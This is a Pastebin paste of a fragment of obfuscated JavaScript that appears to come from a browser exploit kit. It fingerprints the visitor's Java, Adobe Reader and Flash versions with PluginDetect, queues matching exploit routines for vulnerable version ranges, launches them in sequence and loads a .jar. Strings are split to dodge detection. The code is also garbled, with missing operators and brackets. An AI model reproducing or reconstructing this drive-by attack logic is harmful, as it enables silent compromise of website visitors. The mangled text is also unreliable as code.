  1798.   if ($.isMinVersion"Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3]9
  1799.   )))
  1800.     ar["push"](j2);
  1801.   }
  1802.   else if ($.isMinVersion"Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3
  1803.   ]33|| (javax[0] == 1 && javax[1]6)))
  1804.     ar["push"](j1);
  1805.   }
  1806.   pdfver = PluginDetect.getVersion"AdobeReader";
  1807.   if (window.documentiftypeof pdfver == "string"
  1808.     pdfver = pdfver["split"]"."
  1809.   }
  1810.   else
  1811.     pdfver = [0, 0, 0, 0]
  1812.   }
  1813.   if (pdfver[0]0 && pdfver[0]8
  1814.     if (window.document)ar["push"](p1);
  1815.   }
  1816.   if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1]4)))
  1817.     ar["push"](p2);
  1818.   }
  1819.   var ver = ($$.getVersion"Flash"+ ".").toString()["split"]".";
  1820.   if (((ver[0] == 10 && ver[1] == 0 && ver[2]40|| (window.document && (ver[0] == 10 &&
  1821.   ver[1]0&& (ver[0] == 10 && ver[1]2))) || window.document && ((ver[0] == 10 &&
  1822.   ver[1] == 2 && ver[2]159|| (ver[0] == 10 && ver[1]2)))
  1823.     ar["push"](ff2);
  1824.   }
  1825.   if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3]= 23|| (ver[0] == 10 &&
  1826.   ver[1] == 3 && ver[2]181))
  1827.     ar["push"](f1);
  1828.   }
  1829.   var arcalli = 0;
  1830.   var arcall = function ()
  1831.     if (ar.length= arcalli)return 123;
  1832.     ss = setTimeout;
  1833.     var res = ar[arcalli]();
  1834.     arcalli++;
  1835.     if (res && window.document
  1836.       ss(function ()
  1837.         arcall()
  1838.       }
  1839.       , 5509;
  1840.     }
  1841.     else
  1842.       arcall();
  1843.     }
  1844.   }
  1845.   ;
  1846.   arcall();
  1847. $$["onDetec" + "tionDone"]"Ja" + "va", svwrbew6436b, "../data/getJavaInfo.jar";
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top